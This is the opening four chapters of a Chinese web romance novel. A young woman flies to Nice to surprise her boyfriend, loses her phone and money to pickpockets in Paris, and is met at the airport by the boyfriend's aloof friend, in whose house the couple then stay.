《至此不逾》 chap1 有时候,谭诺也会想,如果这一次,她没有自作主张地来法国找孙庭誉,她的生活是不是就不会发生这样的改变。 谭诺还记得,孙庭誉去年24岁生日许下的愿望,是希望他25岁生日时,她还在他的身边。 那个时候,她还在为孙庭誉一声不吭就接受公司指派,同意到法国尼斯*分公司任职一年的事闷闷不乐,但还是记住了他说的话。 谭诺本以为她这一次来,能给男友一个惊喜,她怎么也没有想到,从落地巴黎的机场后,她就事故频发,就好像老天在提醒她不该来。 - 江市到尼斯并没有直飞的航班,谭诺不得不选择从巴黎的戴高乐机场中转。 中转时间有近五个小时,谭诺不想浪费难得的机会,便打算在机场周围转一转,感受一下巴黎风光。 没想到她出了机场,闲逛买个冰淇淋的功夫,她背在肩上的单肩包里值钱的东西全都没了。 手机、她在国内提前兑换的欧元全都不见了,只留下个护照还有几枚硬币,而谭诺竟然毫无察觉。 在此之前,谭诺人生经历过的最大的磨难不过是要和喜欢的人分隔两地一年,结果刚到了国外就被偷走这么重要的东西,这一切的一切直接让她的心理防线崩塌。 天气还带着夏日末尾的暑气,但是谭诺已经感觉到后背发冷。 只是留给她擦眼泪的时间没有太多,她无助地看着满街的陌生脸庞,在没有找到警察以后,她情急之下在街边找到了一个电话亭。 说来有点讽刺,谭诺一刻钟前还曾考虑要不要在这个看起来相当古朴有电影感的地方留影拍照,但是现在这里竟然成了她求救的工具。 顾不得什么惊喜不惊喜,她得给孙庭誉打电话。 只是走进电话亭以后,谭诺愈加绝望。 因为她根本不知道该怎么用它,谭诺以为投硬币就可以使用,她还庆幸扒手没有把她夹层里的几枚硬币也偷走,只是这里怎么看都只有插卡的地方…… 谭诺垂头丧气地从电话亭里出来,迎头看到了一张亚洲人的面孔,她鼓足了勇气走向前想向人借电话,只是还没开口,对方防备地看了她一眼后,将包放到了身前,加快了脚步离开。 她看起来很像贼吗?谭诺差点要放弃,她脑子里还在纠结到底是找地方报警,还是抓紧时间坐地铁赶回戴高乐机场,就看到两个看起来和她年纪相仿的女孩子走过来。 “你是中国人?是东西丢了吗?” 谭诺听到熟悉的语言后,眼泪几乎就要收不住了。 “对,我钱包和手机都被偷了。” 两个女孩几乎同时叹了口气,“这里小偷很多的,你估计报警都没用,你这里有认识的人吗?我把手机借你打个电话?” “可以吗?太谢谢你们了。”谭诺感恩地接过手机,还好,还是好人多,而且她至少还能记得孙庭誉的电话,这简直是不幸中的万幸。 只是,电话拨通以后没多久,就传来了谭诺根本听不懂的官方女声…… 个子高一点的女孩子说:“你朋友是不是在忙?他没接。” 谭诺的心态崩了。 实话实说,她已经想回家了。 “这样吧,”高个子的女孩子安慰道,“你有什么想要交代他的话告诉我,等他回电后,我告诉他,别难过,我们之前也丢过东西的。” 谭诺收起懊丧的脸,点了点头。 两个小时后,谭诺顺利地坐上了前往尼斯的飞机。 只是,她的心情再也不复来时的激动。 - 谭诺推着行李,临近尼斯机场接机点前,还在隐隐期待。期待孙庭誉在这段时间里已经得知她到了机场的消息,现在就已经在接机口等待她。 她生性乐观,在空姐温柔地用她听不懂的法语问候她的时候,她已经忘记了丢东西的不快,破财消灾嘛,她积极地想:接下来一定都只剩下幸运了。 谭诺望向人群里的每一张脸时,都在想,会不会下一秒就可以看到孙庭誉了。 因为孙庭誉总是说,他们有心电感应,只要她需要他,他就会出现在她眼前。 虽然他上一次说这句话时,给谭诺留下了一段非常伤心的记忆。 去年孙庭誉生日,他却给谭诺准备了礼物。 只是,孙庭誉手里拿着要给谭诺的礼物,却许久都没有递给她。 谭诺不知道他怎么了,被他的表情吓得以为他要求婚,很快,她就被孙庭誉抱进了怀里。 “宝宝,我可能要去法国一年。” 谭诺听到他这句话的时候,半晌都不知道该做出什么反应,于是“哦”了一声就开始神情如常地吃饭。 谭诺其实是一个有点迟钝的人,她不知道,她的感情有滞后期。 饭吃了一半,她终于开始难过。 当初谭诺答应孙庭誉的告白前,就曾说过:她是很怕孤单需要人陪的人,她谈不了异地恋。 那个时候,孙庭誉说不会离开她。 “所以,我们是要分手吗?”谭诺呆呆地问出口。 孙庭誉望向她的眼神瞬间变了。 “你说过,不会随便说这两个字。” 谭诺一下子挣脱他的怀抱,带着哭腔问: “可是你也答应过,不会离开我,会一直陪在我身边。” 孙庭誉见女友的眼眶泛红,喉头也变得哽咽,他也不想离开她。 做决定的时候,孙庭誉极力克制着没有让自己去想谭诺会有的反应,他怕自己想了,就无法下定决心了。他一直在告诉自己,只是分开一年,这一年是向父母证明他的机会,只要他通过了考验,就可以证明许多事,证明他的爱情不会拖累他的事业,证明他有照顾谭诺的能力和资本,到那个时候,没有任何人可以让他和谭诺分开。 他搂着她,一遍一遍地用吻安抚她。 “我答应你,只要有假期,我就回来看你好不好?” 谭诺摇头,眼泪固执地在眼眶里没有流下来。 “如果你真的走了的话,你以后的话我都不会相信了。” 孙庭誉凝望着眼前这张受伤的脸,终于承认自己因为她的话开始心碎。 “宝宝,”他不知道该怎么解释,从和谭诺在一起的时候,他就发誓不会让她受伤,要好好保护她,他一点也不想看她流眼泪的。 “别对我这么狠心,我把日历翻遍了,只要法国放假前一天我就坐飞机回来,第二天你就会看到我。” 谭诺偏着头不肯说话。 孙庭誉继续说:“糟糕了,你也知道法国假期很多很长的,到时候我回来得太频繁,你会不会嫌我太黏人,受不了要跟我分手?你会来接我吗?嗯?”他说着话,又开始去吻她。 “我才不会去接你,我现在就要分——” 孙庭誉捂住她的嘴,不准她说分手,耍无赖地抱着她:“嗯,不要来接我,我这么可恶的人不配这么可爱的女朋友来接我。” 谭诺扁着嘴,终于还是泪眼汪汪地看向他。 “你一定要走吗?法国……那么远。” 孙庭誉最受不了她这样的眼神,为什么他好像永远没办法对这双眼睛无动于衷。 “嗯,我不放心你一个人来机场接我,宝宝就在家等我,”孙庭誉说,“我只要想到你会在某个地方等我,我的心情就很好。” 谭诺听他说这样的话,泄气地说: “可是,以后我想你的时候,就不可能立刻看见你了。” “怎么会?我们不是有心电感应,你不高兴,我就会回来的。” 就这样哄了好久好久,谭诺终于不再提分手。 等到孙庭誉去了法国以后,每一天都会打电话叫谭诺起床,法国假期丰富,他一开始几乎一个月回来一次,后来谭诺心疼他回来一次往返要坐快四十个小时的飞机,说她也可以过去看他,孙庭誉却不放心她一个人坐这么久的国际航班,最后改为三个月回来一趟。 距离孙庭誉在法国一年的任职之期,还有半个月就要结束,谭诺想到这一年,孙庭誉往返两地的辛苦,她真的很想给孙庭誉一个惊喜,于是跟父母撒娇让他们赞助。 谭诺父母看在她考研成功的份上,奖励了谭诺十万块。 事实证明她真的不适合给人惊喜,因为眨眼的功夫就变成了惊吓。 - 只是等谭诺目光扫视完人群后,再一次感到沮丧。 接机的人很多,但是这群人里,根本没有孙庭誉。 谭诺不死心地走出来,看到外面还有一排座椅,她一个一个看过去,看到座椅上坐着一个发色较深,穿着松垮白衬衫的年轻男人。 谭诺的心有那么一秒被吊了起来,因为他们身型真的相近,但是下一秒她就想清楚这绝不可能是孙庭誉。 孙庭誉是大她三届的学长,他工作以后每次来她学校接她,明知道周围哪里有空的教室可以让他坐,但每一次仍是站在她教室的后门口外,谭诺问他怎么不去哪里坐着等她,孙庭誉说,因为他想要她出教室门的时候一眼就能见到他。 骗子。 谭诺伤心地想,孙庭誉这个骗子,明明说过他们有心电感应的,没有接到她的电话就算了,竟然连补救的机会都没有抓住。 她现在有多需要他,他不知道吗? 谭诺现在唯一的选择就是自己去找他了。 还好她听了妈妈的话,把孙庭誉在尼斯的地址记到了纸上,而这张小纸头自然没有被偷走。 谭诺找纸的同时,还在夹层里找到了一张二十欧! 这雪中送炭的二十欧,是她买冰淇淋的时候找剩下的钱,被她随手塞到了夹层的角落,只是不知道这二十欧够不够她打车到孙庭誉家。 谭诺把目光从写着孙庭誉住址的纸上挪开,决定出机场找出租车。 她这一抬眼,才发现一个高大颀长的男人此时此刻就堵在自己的面前。 是刚刚那个坐在座位上的年轻男人。 她也是这时才看出来,他上身穿着的休闲的白衬衫,最上面的两三个扣子没有扣上,而下半身的长裤却是藏青色的真丝睡裤? 他个子高挑,肩膀宽阔,这身穿着看起来并不突兀,难道这就是法式慵懒风? 谭诺不打算对别人的穿法多做评价,正准备绕过去,结果他又跟着堵了过来。 谭诺没好气地目光上移,等对上他微皱的眉头,棱角分明的脸后,表情也变得难以置信。 “钟……屹?” 被叫的人额头上有几缕不听话的发丝垂落在他的眉眼处,发丝下,他眼皮微垂,阳光透过机场的玻璃散落在他的脸上,只是他的双眼却没有被温热的日光感染,正不冷不热地看着她。 “怎么会是你?”谭诺盯着他看了一会儿,都难以消化眼前的事实。 “我也想知道,怎么会是我?”钟屹勾了勾唇角,面无表情地将手里的手机递到谭诺的手边。 “啊?”谭诺一手攥着钱,另一只手搭在行李箱上,有些没反应过来。 钟屹也不再说话,抬脚轻碰了一下行李箱的轮子。 谭诺就看到行李箱从自己的手里离开…… 钟屹握住谭诺行李箱的把手,另一只手举着手机直接放到她耳边。 他垂眸盯着她,声音带着谭诺记忆里的不耐和轻嘲,“听起来,再不听到你的声音,他就要死了。” * 尼斯(Nice),法国东南部城市 chap2 谭诺在初二升初三那年的暑假认识了孙庭誉,那个时候他即将步入高三,他们很巧合地在同一家补习机构补课。 谭诺无法接受这么美好的暑假不能出去玩,还得每天来补课,有一次在机构的走廊哭着说再也不要来了,学习学得崩溃了,她原本是为了装可怜博妈妈同情,但是哭着哭着又走心了,她还没哭完,眼睛眯着偷看妈妈反应,就对上妈妈身后一双带笑的眼睛。 谭诺还听到了他的轻笑声。 谭诺原本还想瞪一眼,结果定睛一看发现笑她的人穿着她学校高中校服,是她的学长……她也就不敢了,但是心里偷偷地不服气,有什么好笑的,他成绩很好吗?好的话干嘛还要来补习? 后来谭诺才知道,原来这家教育机构就是孙庭誉家的产业之一。孙庭誉只是闲着没事,来听听自家老师上的课。 谭诺的妈妈看他穿着女儿学校高中部的校服,连忙叫他劝她,“你问问人家哥哥,现在不好好学习,是不是以后肯定考不上他的高中?” 孙庭誉自然注意到谭诺妈妈对他使眼色,但是不知怎么,他脱口而出的是:“你肯定可以考上的。” “真的吗?” 孙庭誉迎上她的视线,笑着说:“嗯,我可以教你。” 他很礼貌地对谭诺的妈妈说:“阿姨,我成绩很好,可以帮忙辅导她,我不收钱。” 谭诺妈妈当下高兴的不得了,真的加了孙庭誉的联系方式,她不可能真的叫孙庭誉花很多时间来辅导谭诺,只是偶尔让他教教谭诺学习方法,孙庭誉说他不收钱,她却不能占孩子的便宜,每次见面都买很多水果,过年也会给他发红包。 孙庭誉就是这样,一步一步、自然而然地在谭诺的生活有了难以磨灭的存在感。 从谭诺的十四岁夏天一直到今天。 谭诺承认自己有时候也会任性会有点小脾气,但是那是对着家人和男朋友。 她人缘很好,她的朋友、孙庭誉身边的朋友或者是同学,但凡认识她的,没有人讨厌她,甚至都对她很好。 唯独钟屹。 谭诺没记错的话,她是在孙庭誉二十岁生日的第二天第一次见到钟屹。 打他们第一次碰面,钟屹对她的态度就是超乎寻常的冷淡。 那天的开头是发生过一件稍显尴尬的事,但是那也不能完全怪她。 谭诺从来不是敏感爱多想的人,小时候有段时间不肯学习半夜偷偷爬起来用电脑听音乐,一下子没控制音量被谭妈妈发现,小揍了一顿。 谭妈妈打完还想着该怎么哄她,正准备让谭诺爸爸叫谭诺出来吃饭,结果谭诺没事人一样,眼泪擦得干干净净说饿了,她看起来早已把这件事抛到脑后。 谭妈妈看着真是好气又好笑,一边又担心女儿这样心大会不会在学校被人欺负。 但是粗线条至此,谭诺也确信钟屹非常不喜欢她。往严重点说,那就是看不上她,就好像她配不上他的好兄弟一样。 极少次见面,钟屹要么把她当空气,直接不看她,要么偶尔看她一眼,视线里还蕴含着讥讽、轻蔑的情绪,就在孙庭誉叫她“宝宝”或者各种哄她的时候。谭诺原本心情好好的,他一个高高在上的眼神飘过来直接把她的好心情毁个彻底。 后来,谭诺学聪明了,为了恶心钟屹,她在他面前变本加厉地跟孙庭誉亲亲我我。孙庭誉自然看得出来她的小心思,但是也乐得配合她。 谭诺不想去问孙庭誉,钟屹为什么不喜欢他,这样显得她在挑拨离间,她也没有去问自己的好朋友,不然搞得她好像很在意钟屹的看法。 有一次不知道怎么又被钟屹嘲讽,她回怼完随手在没人认识的社交平台上发了一句: 【难道我有什么讨人厌的个性吗?怎么会有人第一次见我就讨厌我呢?气!】 不知道是不是这条信息被平台推了流量,没过一会儿竟然真的有人回应。 【可能他喜欢你,故意用讨厌你的方式找存在感。】 平地炸出个惊雷,谭诺被网友提出的设想给吓到,不是出于相信才被吓到,而是单纯觉得可怕。 【别说恐怖故事,这不可能……我们之前根本不认识,但是他从第一眼见到我就很冷漠很凶,不知道的还以为我抢了他女朋友,p.s.他是男生。】 没想到当晚,谭诺就等到了陌生网友的回复。 【那就是他从见你第一眼就知道你是他可能喜欢的类型,但是他也知道你们不能在一起,所以就用讨厌你的方式来让自己不喜欢你,嗑到了,嘿嘿。p.s.或许你是可爱的男孩子吗?】 ……谭诺看完这段文字后,满脑子的问号。 现在的网友精神状态都怎么了?怎么能联想到这里去。 【我是女孩子!】 - 时隔一年半,谭诺再次见到了这个瘟神。 孙庭誉到底是怎么想的呢?竟然让钟屹来接自己,他还嫌钟屹不够烦她的吗? 谭诺被动地接过钟屹放在她耳边的手机,没来得及胡思乱想,就听到听筒里孙庭誉的声音不复往日的冷静。 “阿屹,你看到她了吗?如果这个航班她还不在的话,说明她根本没坐上巴黎到尼斯的飞机,我现在要去一趟巴黎,我应该报警。” 谭诺终于听到了孙庭誉的声音,听到他那么着急,她也没有那么怪他。 “喂,你别报警啊。” 孙庭誉听到谭诺说话,不确定地连叫了两声宝宝,才松了一口气。 “有没有等我等得很着急?”孙庭誉问。 谭诺余光看到钟屹在旁边,放在以往,她肯定会为了膈应他,故意说点什么,但是今天人家专程来接她,她也没理由再那样做。 “还好。”因为隔着电话,看不到孙庭誉的脸,她很多想说的话,谭诺都没有说,其实她直到现在都没有一种马上就要见到孙庭誉的实感。 这一天实在是发生了太多。 “你和阿屹就在机场等等我,再过半小时,我马上就到。”孙庭誉说。 “还要半小时啊?”谭诺没想到还要再等半小时才能看见他。 “嗯。”孙庭誉在电话里哄她,“是不是想我了?” 谭诺“嗯”了一声,没好意思继续霸占钟屹的手机,就说:“见面再说吧。” - 挂掉电话后,钟屹推着她的行李箱往外走。 “谢谢啊,”跟他说谢谢好不自在,谭诺正想还手机,忽然想到自己丢了的手机和钟屹的是一个品牌,不知道现在登录ID锁机查定位还来不来得及。 “我能用你手机登一下我的id吗?我想查一下定位。”谭诺小声询问,真是拿人家的手短。 钟屹点了一下头。 只是谭诺低下头一看,手机的语言是她看不懂的法语。 她只能硬着头皮把手机递给钟屹,让他帮忙:“我看不懂。” 钟屹停下脚步,接过手机,靠在墙壁上调设置里的语言。 谭诺自言自语地说:“不知道手机还能不能找到……” 一直没说话的钟屹这时头也没抬地出声:“大概不能。” 谭诺已经做了最坏的打算,但是还是不免有些不开心,到底为什么要偷她的东西。 钟屹把手机递给她输入ID和密码,谭诺一边输入一边说,“真不知道在这里怎么才能不丢东西……” “穿得像个乞丐。”钟屹说完,眼皮一抬,在她身上落了两秒,“还有点距离。” 谭诺本来没觉得有什么,只是一听他说话的语气、眼神,直觉他又在嘲讽她。 钟屹说:“别瞪了,报警了么?” “没来得及……” “要不要给你在线上报警?” 谭诺不再瞪他,还可以在线上报警? “要。” - 孙庭誉向来守时,这次也不例外。 谭诺线上填完报警的单子后跟着钟屹一路向前,她本来没觉得肚子饿,但是忽然闻到了芝士夹杂火腿的浓郁香味。 转头一看,是牛油果三明治,饼看起来又酥又脆,里面还有芝士火腿片,她心动了。 谭诺耐心地等待店员为自己烤三明治,还没来得及结账,就听到纷纷杂杂的脚步声里,传来一阵极快、极熟悉的脚步声。 一种预感迫使她回过头,她还没来得及看清来人的脸,就已经被对方紧紧抱进了怀里。 是孙庭誉的气息,谭诺终于松了一口气,将头埋在他的胸膛前。 孙庭誉只抽空用眼神草草地和钟屹打了个招呼,注意力便全部投注在谭诺的身上。 他下一秒就松开了怀抱,手紧紧地攥住谭诺的双肩。 “你怎么能不跟我说一声,就这样跑过来?你知不知道我接到阿姨电话的时候,都要吓死了?” 孙庭誉在今天巴黎时间下午四点收到了谭诺妈妈的信息,问他有没有接到谭诺,她来法国找他了,孙庭誉无比慌张。 他昨天是有收到谭诺的消息,她说她熬了一天半追剧好困,让他早上不要打电话叫她起床,她要好好补觉。 孙庭誉一直都知道自己的女朋友是不懂节制的类型,但凡是她喜欢看的电视剧、,不管有多长,她从来做不到忍住慢慢看,一定要熬夜追完才罢休,对于她的这条消息他自然信以为真。 再然后,他才看到有来自巴黎的陌生未接来电,回了电话,他才知道谭诺把手机给丢了。 孙庭誉担心得慌不择路,差点要报警。 “我只是想给你一个惊喜。”许久没见的男朋友终于出现在眼前,谭诺一脸委屈地仰头看着他。 “惊喜我给你就好,你怎么能一个人就这样不声不响地来找我?你知道我听到你手机丢了,钱也没了的时候,有多担心找不到你吗?” 看到谭诺扁着嘴不说话,孙庭誉终于叹了口气。 “东西丢了无所谓,你人万一出事你要我怎么办?” “给你打电话,你都不接。” 孙庭誉摸了摸她的脸,“知道你来的时候,我和团队的人还在邻市,手机没在身边,看完阿姨的消息,我又看到巴黎的那个未接来电,还以为是绑匪打来的电话,说赶紧筹好五百欧,不然就把你撕票了。” 谭诺被他的想象力逗得扑哧一笑,“我在你心里就值五百欧吗?” “我说的是五百万。”孙庭誉仔细地检查着谭诺的全身,“有没有受伤?联系不到我有没有哭?我真怕你哭。” “我才没有那么脆弱。”谭诺听着孙庭誉的话,心里无限甜蜜,如果不是现在的地点不太合时宜,她大概会抱着孙庭誉亲上去,但孙庭誉却想不到那么多,径直低下头吻了她。 谭诺下意识地回应了一下,一想到这里是客流不算少的机场,而且身边还有人,她又别开了脸。 “这里都是人。” 哦对,人,钟屹还在。 谭诺被孙庭誉搂在怀里,往钟屹的方向看过去。没想到,钟屹也在看她。 他背倚着墙,双眼里依旧没什么情绪,见她望过来,他扯了扯嘴角,又事不关己地移开了目光。 chap3 谭诺太熟悉这个眼神了,她几乎见一次钟屹就要被他这样看一次…… 孙庭誉在确定她身上没有受伤后,抬手拍了一下钟屹的肩膀。 “麻烦你了,回去我开车。” “回去?”谭诺没理解这两个字的意思,他们难道住一起吗? 孙庭誉对于谭诺的吃惊也感到讶异。 “宝宝,我确定我跟你说过。” 谭诺很努力地回忆了一下。 孙庭誉好像确实很早就告诉她钟屹虽然长期住在瑞士,但是他在法国有海的城市有一套像度假山庄一样的房子,规模没有酒店那么大,但是上下两层也有十几个房间。 卖钟屹房子的是个西班牙人,不知道因为什么原因急于把这房子便宜脱手,钟屹顺势买下。 孙庭誉没跟谭诺说,买这房子时,钟屹钱还差上一些,孙庭誉主动出了资,后来钟屹有了钱要还他,孙庭誉也没有要。 孙庭誉当时开玩笑说,以后到尼斯旅游可以带谭诺来住。 江市没有海,谭诺到哪里玩都想要看海,没想到最后他因为工作的关系自己先住上了。 不过钟屹一年只有两个月才会待在尼斯,孙庭誉去年来的时候,钟屹刚离开尼斯回了瑞士。 这一年里,谭诺和孙庭誉打电话的时候,从来没有听到钟屹的声音,自然而然也就忘了这件事。 而今年,钟屹半个月前才来到尼斯,但是他和孙庭誉的作息截然不同。 钟屹做建筑设计,习惯晚上夜深人静的时候画图,白天补眠,所以这半个月两个人面都没碰上几次,只一起吃了两次饭,孙庭誉知道谭诺不那么喜欢钟屹,自然也不会在珍贵的聊天时间里提别人。 如果不是孙庭誉今天人在外地,赶到机场需要时间,担心谭诺下了飞机看不到有人在等她会害怕会乱跑,他也不会想到麻烦钟屹来。 “你不是很好奇他的房子吗?很大的。”孙庭誉低下头在她耳边说,“我入了股的,你可以放心住。” 谭诺被戳穿了小心思,她是有点好奇,便自我安慰:如果住得不高兴,她就出去住酒店。 “好吧。” “箱子给我。”孙庭誉伸出手。 钟屹双手仍插在睡裤的口袋里,闻言抬脚踢了一下箱子的轮子,谭诺的箱子就又被他踢了过来。 …… 谭诺要走的时候才想起来自己的牛油果三明治,“我买的吃的还没付钱。” 孙庭誉往口袋里找钱包,“我来。” “买过单了。”钟屹这时才懒懒地出声。 他没看任何人,下颌往旁边的桌面扬了扬,谭诺就看到已经用棕色纸包装好的三明治。 大约是瞳色没那么深,所以钟屹的眼神看起来倒像是天生冷淡,这时还透着隐隐的不耐。 孙庭誉接了过来,发现没那么烫后,很自然地递到谭诺嘴边。 “你怎么付了?晚上请你吃饭。”孙庭誉说。 他们关系好,互相给对方花点钱那没什么,但是她没理由让钟屹给她花钱。 她还在犹豫要不要把手里的二十欧给钟屹,就看到钟屹已经转身。 他走在前面,声音又是那副冷淡的,谁也瞧不上的腔调。 “我怕你们亲完抱完再买单,老板可能已经破产。” 谭诺看着钟屹的背影,咬了一口三明治,忍不住小声地嘟哝:“他怎么诅咒人家老板破产啊?” 孙庭誉好笑地拍了拍谭诺的后背。 “不跟他计较,晚上想吃什么?” 味蕾已经被手里的三明治短暂地满足,谭诺没那么想吃饭了。 坐了近一天的飞机,她累得下一秒就能在孙庭誉怀里闭上眼睛。 她皱着脸问孙庭誉:“你之前每次回去找我,没多久又要坐那么久飞机回来不痛苦吗?” 她现在只想洗个澡好好地睡一觉。 - 回去的路上,孙庭誉开车,谭诺坐在副驾,钟屹一个人坐在后座。 这里的夏天,太阳很晚才落下。 等红灯的间隙,谭诺靠在椅背上往外看。 天空开始微微泛起橙粉色,她依稀还能看到这个城市的样貌,这里的建筑不像江市那样高,一栋栋三四层的小房子挨在一起,墙面的颜色明快又亮丽。 谭诺精神高度疲惫,但是还是很新奇地盯着看。 “这里的房子五颜六色的,真可爱。”她打了个哈欠,跟孙庭誉说话。 孙庭誉胳膊靠在方向盘上,手撑着脸侧目看她。 “困了?” “有一点。” 见她又打了个哈欠,孙庭誉问:“预约了餐厅,真的不要吃吗?有你喜欢的龙虾意面。” 尼斯大多数的餐厅晚餐是从七点开始营业,孙庭誉在电话里听到谭诺的声音后托人帮忙预约了她大概率会喜欢的餐厅。 “龙虾有壳吗?”谭诺犯懒地问。 “我帮你剥。” “但是,我好困,而且吃一顿法餐要好久。”谭诺坐在副驾,看起来随时要睡着的样子,“你饿吗?” 孙庭誉摇头,来法国这近一年的时间,他不吃晚饭是常有的事。和谭诺在一起的时候,她总是饿得很快,下午五点就吵着要吃晚饭。 而尼斯这边的人八点吃饭都算正常,孙庭誉非常不习惯,他的生物钟早已被谭诺影响,后来饿着饿着有时候也就懒得再吃。 孙庭誉又从后视镜里看钟屹,钟屹上车以后没有讲过一句话,现在也是双手抱臂地靠在后驾的窗户上。 “阿屹,你怎么说?” 谭诺因为孙庭誉的问题,余光也透过后视镜往后望了一眼,她发现钟屹闭着眼睛,就像是睡着了。 她差点忘了车上还有一个人,因为钟屹从上车以后一句话也没说过。 “不饿,困。” 谭诺收回了目光,原来没有睡着,估计只是不想理她,她小心眼地想。 既然这两个人都没有要吃饭的意思,孙庭誉也不再执着,不过最后他还是下车给他们打包了两份龙虾意面和披萨。 - 谭诺以为到了住的地方,她会舒服地洗一个澡,然后吹着26度的空调进入梦乡。 她跟在孙庭誉身后进了那栋大房子以后,原本还在感叹,怎么客厅再往里的左右两排房间的布局一模一样,她看着都有点晕了。 下一秒,她开始奇怪,一回到家的第一件事不是应该开空调吗?现在还在夏天诶。 她问出这个问题后,孙庭誉告诉她一个噩耗,这里没有安装空调。 没有空调…… 谭诺眼神空洞地看着孙庭誉:“我崩溃了。” 孙庭誉好笑地环住她的肩膀,将下巴垫在谭诺的脑袋上。 “别崩溃,相信我,这里一点也不热。晚上窗户打开,还会有海风,不信你问阿屹。” 谭诺看过去,就看到钟屹压根没看他们,他又像是没听到他们的话,擦干净手后,径直走向他的书房。 “你们自便。”路过他们身边的时候,钟屹倒是客气了一下,只是十分官方。 谭诺对钟屹这副态度习以为常,孙庭誉更是专注于给谭诺解释法国的空调普及率不高,没太在意。 谭诺搞不懂,“就算居民楼大多没有空调,但是这里原来不是做度假山庄的吗?怎么能没有呢?” 怪不得最后要低价出手,没有空调怎么会有人住。 孙庭誉拉着她在沙发上坐下,顺毛道:“这样,如果今晚你觉得热,明天我就带你住酒店。” 就这样被软磨硬泡了一会儿,谭诺也没心思再折腾。 - 偌大的客厅只剩下孙庭誉和谭诺两个人。 两人坐在沙发上,孙庭誉将谭诺的双腿抬起来,放到了自己的腿上。 “坐了快二十个小时的飞机,腿好像都肿了。” 谭诺回想起这一路的辛酸:“嗯,经济舱的座位只能把腿弯着,而且飞机上一直有个小男孩在哭,我都没有睡着。” “下次不要买经济舱,老公给你报销。” 谭诺不知被他按到哪里,腿忽然好酸,连忙抱着他的胳膊。 “轻一点轻一点,”她靠着孙庭誉说话,“我爸妈赞助了我十万块,本来我想买公务舱的,但是一看经济舱便宜好多,剩下的钱我可以在这边多买点香水什么的带回去啊,下面几个月我好多朋友过生日,我要提前给她们买礼物,我都列在手机的备忘录里了。” 说到这里,她忽然沮丧了起来,“可是我手机丢了……妈妈说的对,我就不配用贵的手机。” 这个手机还是孙庭誉上次回去的时候送给她的,就这样丢了。 “傻不傻啊。”孙庭誉禁不住低头吻她。 谭诺躲了一下,“提醒你一下,这是你室友的家。” 孙庭誉一听谭诺用“你室友”来称呼钟屹,只觉得她可爱。 自从他介绍这两人见面以后,大约是彼此性格不那么合,孙庭誉从来没有在谭诺的嘴里听到钟屹的名字,有时候她不得不提起钟屹,也是“你那个好像没长嘴的朋友”。 “他在自己的房间,不怎么出来。”孙庭誉对谭诺说。 谭诺本来很困的,结果到了目的地后反而睡不着了。 “你今天怎么想起来让他去机场接我?”想起这件事,谭诺还是控制不住地扳起脸。 孙庭誉只好再次解释:“我接到电话的时候还在戛纳,赶到机场需要时间,万一你从机场出来看不到我,哭鼻子怎么办?” “我才不会哭鼻子,我只会咬牙切齿,非常生气。”说着话,谭诺凑过去在孙庭誉的脖子上咬了一口。 “嘶,饿了?”孙庭誉不太在意地摸了摸她的头,“饿的话,我把龙虾意面拿给你。” 谭诺还不饿,她还沉浸在她被迫欠了钟屹人情的情绪里。 “你这样麻烦他,他一定很烦我。” “他是我关系最好的朋友,一点小忙。” 谭诺才不信:“我这次见到他,感觉他更讨厌我了。” 孙庭誉知道自己就算说一百次钟屹不是讨厌她,只是生性如此,谭诺也不会真的相信。 他只能选择用另一种方式转移谭诺的注意力,他维持着谭诺的双腿在他腿上的姿势,就这样倾身,将谭诺压在沙发上,深深地吻了下去。 他唇贴着她的唇,声音压得很低,带着点调/情的意味。 “怎么见到我一直聊阿屹?”孙庭誉的吻不断向下,“你喜欢的人难道不是我?嗯?你中意他?” 谭诺被男友吻得呼吸混乱,身体开始发热,下一瞬被他的最后一句话激的一身恶寒。 她这时才想起她现在住在哪里,躲避着孙庭誉的吻。 “乱讲……我才不喜欢他!”她疯了吗?谁会脑子那么不正常喜欢讨厌自己的人。 她排斥地抬手捂住孙庭誉的嘴。 孙庭誉猜都猜到谭诺会是这样的反应,他笑着攥住谭诺捂在自己嘴上的手,揉了揉,捏了捏,很快又收起了笑容。 谭诺刚想骂他,没想到他恶人先告状。 “不要老在我面前提别的男人,我不喜欢。”孙庭誉正色道。 谭诺被他气笑了,“是你提的,你还开这种玩笑。” “以后不开了,”孙庭誉捧着她的脸,原本只是激将法,但是说完,他心情也因为自己的玩笑话有了微妙的不快,人真是奇怪。 “以后也不准再这样一声不吭地跑来找我。”孙庭誉很认真地开口。 见谭诺一脸不以为意,他掐了一下她的脸。 “再这样,我就——” “你就怎么样?”谭诺故意问。 孙庭誉看她这副天不怕地不怕的样子,拿她没办法似的。 “你就一点也不怕我担心是不是?” 谭诺被他这样注视着,心也跟着软了下来。 “我有的,我想你,才来找你的。”她轻声说,说完,她凑到孙庭誉面颊前啄吻了一下。 孙庭誉目光灼灼地盯着她看,问道:“多想。” 谭诺看得出他眼神的变化,等到孙庭誉埋在她的脖间,一下又一下地舌忝弄、含口允着她敏感的肌肤,身体里陡然窜起的痒意差点就要让谭诺不管不顾地闭上眼睛。 上一次做,还是两个月前。 只是,这感觉还没能让她从待在陌生地方的不自在消失。 “不行,这里还有别人在……” 孙庭誉置若罔闻,“他睡觉了,不会出来。” “但是我还没洗澡。” “我不在意。” “我在意!” 孙庭誉的唇依旧没离开她的身体,他其实本来也没有真的要和谭诺在这张沙发上做点什么。 他只是喜欢逗她,再加上许久没见她,他很想吻她,这一吻就有点难以停下。 孙庭誉用所剩无几的自制力迫使自己停下,随后一把将谭诺从沙发上抱了起来。 “我帮你洗,好不好?”他诱惑地在她耳边说。 谭诺搂上了他的脖子。 沉浸在彼此气息中的两个人并没有听到身后的动静。 钟屹手握着水杯,就站在十步之遥的书房外,冷眼旁观着这一切。 接下来会是脚步声、唇/齿相依的湿口勿声。 门被孙庭誉撞开复又关上的声音,浴室的莲蓬头被打开,水在狭窄的空间里流动的声音、即使被手捂住也无法尽数压抑的谭诺的喘/息声。 钟屹低下头,在原地站了一阵。 不知过了多久,他回神一般地抬起头,面上透着名为茫然的情绪。 他忽然笑了一下,有些忘记自己为什么出来了。 chap4 哦,钟屹终于想起来,他只是想到客厅倒一杯咖啡。 和绝大多数人不同,钟屹喝咖啡不是为了提神,他可以入睡得更快。 钟屹在下午接到了孙庭誉的电话后,还没来得及喝一杯水,就被迫去接了小公主。 电话里孙庭誉近乎夸张的担忧简直是一出荒诞的戏剧:他说谭诺从来没有一个人来过这么远的地方,他说她下了飞机见不到人一定会哭,不,她在从巴黎到尼斯的飞机上就已经泪流满面。 当时钟屹正在换身上的睡衣,他原本的计划被这位小公主的千里探男友彻底搅和,他有些说不出的烦躁,烦躁到只记得换掉上半身的睡衣。 钟屹没来得及挂掉电话,就听到孙庭誉在那里已经考虑报警。 